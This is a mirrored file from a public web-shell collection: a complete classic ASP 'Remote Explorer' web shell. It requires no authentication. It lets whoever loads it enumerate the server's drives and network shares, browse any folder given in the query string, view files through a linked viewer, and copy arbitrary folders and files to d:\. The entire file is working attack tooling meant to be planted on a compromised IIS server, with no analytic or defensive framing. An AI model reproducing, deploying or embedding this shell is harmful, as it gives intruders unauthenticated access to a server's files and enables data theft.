mirror of
https://github.com/tennc/webshell
synced 2024-11-29 22:50:18 +00:00
250 lines
7.3 KiB
Text
250 lines
7.3 KiB
Text
<%@ Language=VBScript %>
|
||
<%
|
||
Option Explicit
|
||
|
||
Dim giCount
|
||
Dim gvAttributes
|
||
|
||
Dim Ext
|
||
|
||
Dim ScriptFolder
|
||
Dim FolderPath
|
||
|
||
Dim FileSystem
|
||
Dim Drives
|
||
Dim Drive
|
||
Dim Folders
|
||
Dim Folder
|
||
Dim SubFolders
|
||
Dim SubFolder
|
||
Dim Files
|
||
Dim File
|
||
|
||
Dim BgColor, BackgroundColor,FSO
|
||
|
||
If Request.QueryString("CopyFolder") <> "" Then
|
||
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||
FSO.CopyFolder Request.QueryString("CopyFolder") & "*", "d:\"
|
||
End If
|
||
|
||
If Request.QueryString("CopyFile") <> "" Then
|
||
Set FSO = CreateObject("Scripting.FileSystemObject")
|
||
FSO.CopyFile Request.QueryString("FolderPath") & Request.QueryString("CopyFile"), "d:\"
|
||
End If
|
||
|
||
Set FileSystem = Server.CreateObject("Scripting.FileSystemObject")
|
||
|
||
FolderPath = Request.QueryString("FolderPath")
|
||
|
||
If FolderPath = "" Then
|
||
FolderPath = Request.ServerVariables("PATH_TRANSLATED")
|
||
End If
|
||
|
||
FolderPath = ParseFolder(FolderPath)
|
||
|
||
ScriptFolder = ParseFolder(Request.ServerVariables("PATH_TRANSLATED")) & "images\"
|
||
|
||
%>
|
||
<html>
|
||
<head>
|
||
<title>Remote Explorer</title>
|
||
<style type="text/css">
|
||
BODY
|
||
{
|
||
BACKGROUND-COLOR: #C0C0C0
|
||
FONT-FAMILY: 'MS Sans Serif', Arial;
|
||
FONT-SIZE: 8px;
|
||
MARGIN: 0px
|
||
}
|
||
td, input, select
|
||
{
|
||
FONT-FAMILY: 'MS Sans Serif', Arial;
|
||
FONT-SIZE: 8px;
|
||
}
|
||
.Address
|
||
{
|
||
BACKGROUND-ATTACHMENT: fixed;
|
||
BACKGROUND-POSITION: 1px center;
|
||
BACKGROUND-REPEAT: no-repeat;
|
||
Padding-LEFT: 10px
|
||
}
|
||
.Go
|
||
{
|
||
BACKGROUND-ATTACHMENT: fixed;
|
||
BACKGROUND-POSITION: left center;
|
||
BACKGROUND-REPEAT: no-repeat;
|
||
Padding-LEFT: 10px
|
||
}
|
||
</style>
|
||
</head>
|
||
<body bgcolor="#c0c0c0">
|
||
<table width="100%" cellpadding="0" cellspacing="0" border="0">
|
||
<tr>
|
||
<form>
|
||
<td width="1%" nowrap>
|
||
<select name="FolderPath" id="Drive">
|
||
<%
|
||
Set Drives = FileSystem.Drives
|
||
For Each Drive In Drives
|
||
Response.Write "<OPTION value=""" & Drive.DriveLetter & ":\"""
|
||
If InStr(UCase(FolderPath), Drive.DriveLetter & ":\") > 0 Then Response.Write " selected"
|
||
Response.Write ">"
|
||
Response.Write Drive.DriveLetter & " - "
|
||
If Drive.DriveType = "Remote" Then
|
||
Response.Write Drive.ShareName & " [share]"
|
||
ElseIf Drive.DriveLetter <> "A" Then
|
||
If Drive.IsReady Then
|
||
Response.Write Drive.VolumeName
|
||
Else
|
||
Response.Write "(Not Ready)"
|
||
End If
|
||
Else
|
||
Response.Write "(Skiped Detection)"
|
||
End If
|
||
Response.Write "</OPTION>"
|
||
Next
|
||
%>
|
||
</select> <input class="Go" type="submit" value="Go" style="border:1px outset">
|
||
</td>
|
||
</form>
|
||
<td width="1%"> Address: </td>
|
||
<form>
|
||
<td width="100%">
|
||
<input class="Address" type="text" name="FolderPath" value="<%=FolderPath%>" style="width:100%" size="20">
|
||
</td>
|
||
<td width="1%">
|
||
<input class="Go" type="submit" value="Go"style="border:1px outset">
|
||
</td>
|
||
</form>
|
||
</tr>
|
||
</table>
|
||
<%
|
||
Set Folder = FileSystem.GetFolder(FolderPath)
|
||
Set SubFolders = Folder.SubFolders
|
||
Set Files = Folder.Files
|
||
%>
|
||
<br>
|
||
<table cellpadding="1" cellspacing="1" border="0" width="100%" align="center" style="border:1px inset">
|
||
<tr>
|
||
<td width="40%" height="20" bgcolor="silver"> Name</td>
|
||
<td width="10%" bgcolor="silver" align="right">Size </td>
|
||
<td width="20%" bgcolor="silver">Type </td>
|
||
<td width="20%" bgcolor="silver">Modified </td>
|
||
<td width="10%" bgcolor="silver" align="right">Attributes </td>
|
||
</tr>
|
||
<%
|
||
If Not Folder.IsRootFolder Then
|
||
BgToggle
|
||
%>
|
||
<tr title="Top Level">
|
||
<td bgcolor="<%=BgColor%>"><a href= "<%=Request.ServerVariables("script_name")%>?FolderPath=<%=Server.URLPathEncode(Folder.Drive & "\")%>"><font face="wingdings" size="4">O</font> Top Level</a> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
</tr>
|
||
<%BgToggle%>
|
||
<tr>
|
||
<td bgcolor="<%=BgColor%>"><a href= "<%=Request.ServerVariables("script_name")%>?FolderPath=<%=Server.URLPathEncode(Folder)%>"><font face="wingdings" size="4"><3E></font> Up One Level</a> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
</tr>
|
||
<%
|
||
End If
|
||
For Each SubFolder In SubFolders
|
||
BgToggle
|
||
%>
|
||
<tr>
|
||
<td bgcolor="<%=BgColor%>" title="<%=SubFolder.Name%>"> <a href= "<%=Request.ServerVariables("script_name") & "?FolderPath=" & Server.URLPathEncode(FolderPath & SubFolder.Name & "\")%>"><font face="wingdings" size="4">0</font> <b><%=SubFolder.Name%></b></a> (<a href= "<%=Request.ServerVariables("script_name")%>?CopyFolder=<%=Server.URLPathEncode(FolderPath & SubFolder.Name)%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy</a>)</td>
|
||
<td bgcolor="<%=BgColor%>"> </td>
|
||
<td bgcolor="<%=BgColor%>"><%=SubFolder.Type%> </td>
|
||
<td bgcolor="<%=BgColor%>"><%=SubFolder.DateLastModified%> </td>
|
||
<td bgcolor="<%=BgColor%>" align="right"><%=Attributes(SubFolder.Attributes)%></td>
|
||
</tr>
|
||
<%
|
||
Next
|
||
For Each File In Files
|
||
BgToggle
|
||
Ext = FileExtension(File.Name)
|
||
%>
|
||
<tr>
|
||
<td bgcolor="<%=BgColor%>" title="<%=File.Name%>"> <a href= "showcode.asp?f=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath)%>" target="_blank"><font face="wingdings" size="4">3</font> "<%=File.Name%></a> (<a href= "<%=Request.ServerVariables("script_name")%>?CopyFile=<%=File.Name%>&FolderPath=<%=Server.URLPathEncode(FolderPath & "\")%>">Copy</a>)</td>
|
||
<td bgcolor="<%=BgColor%>" align="right"><%=(File.Size)%> Byte </td>
|
||
<td bgcolor="<%=BgColor%>"><%=File.Type%></td>
|
||
<td bgcolor="<%=BgColor%>"><%=File.DateLastModified%></td>
|
||
<td bgcolor="<%=BgColor%>" align="right"><%=Attributes(File.Attributes)%></td>
|
||
</tr>
|
||
<%Next%>
|
||
</table>
|
||
</body>
|
||
</html>
|
||
<%
|
||
Private Function ConvertBinary(ByVal SourceNumber, ByVal MaxValuePerIndex, ByVal MinUpperBound, ByVal IndexSeperator)
|
||
Dim lsResult
|
||
Dim llTemp
|
||
Dim giCount
|
||
MaxValuePerIndex = MaxValuePerIndex + 1
|
||
Do While Int(SourceNumber / (MaxValuePerIndex ^ MinUpperBound)) > (MaxValuePerIndex - 1)
|
||
MinUpperBound = MinUpperBound + 1
|
||
Loop
|
||
For giCount = MinUpperBound To 0 Step -1
|
||
llTemp = Int(SourceNumber / (MaxValuePerIndex ^ giCount))
|
||
lsResult = lsResult & CStr(llTemp)
|
||
If giCount > 0 Then lsResult = lsResult & IndexSeperator
|
||
SourceNumber = SourceNumber - (llTemp * (MaxValuePerIndex ^ giCount))
|
||
Next
|
||
ConvertBinary = lsResult
|
||
End Function
|
||
|
||
Private Sub BgToggle()
|
||
BackgroundColor = Not(BackgroundColor)
|
||
If BackgroundColor Then
|
||
BgColor = "#efefef"
|
||
Else
|
||
BgColor = "#ffffff"
|
||
End If
|
||
End Sub
|
||
|
||
Private Function Attributes(AttributeValue)
|
||
Dim lvAttributes
|
||
Dim lsResult
|
||
lvAttributes = Split(ConvertBinary(AttributeValue, 1, 7, ","), ",")
|
||
If lvAttributes(0) = 1 Then lsResult = "ReadOnly "
|
||
If lvAttributes(1) = 1 Then lsResult = lsResult & "Hidden "
|
||
If lvAttributes(2) = 1 Then lsResult = lsResult & "System "
|
||
If lvAttributes(5) = 1 Then lsResult = lsResult & "Archive "
|
||
Attributes = lsResult
|
||
End Function
|
||
|
||
Private Function FileExtension(FileName)
|
||
Dim lsExt
|
||
Dim liCount
|
||
For liCount = Len(FileName) To 1 Step -1
|
||
If Mid(FileName, liCount, 1) = "." Then
|
||
lsExt = Right(FileName, Len(FileName) - liCount)
|
||
Exit For
|
||
End If
|
||
Next
|
||
If Not FileSystem.FileExists(ScriptFolder & "ext_" & lsExt & ".gif") Then
|
||
lsExt = ""
|
||
End If
|
||
FileExtension = lsExt
|
||
End Function
|
||
|
||
Private Function ParseFolder(PathString)
|
||
Dim liCount
|
||
If Right(PathString, 1) = "\" Then
|
||
ParseFolder = PathString
|
||
Else
|
||
For liCount = Len(PathString) To 1 Step -1
|
||
If Mid(PathString, liCount, 1) = "\" Then
|
||
ParseFolder = Left(PathString, liCount)
|
||
Exit For
|
||
End If
|
||
Next
|
||
End If
|
||
End Function
|
||
%>
|
||
|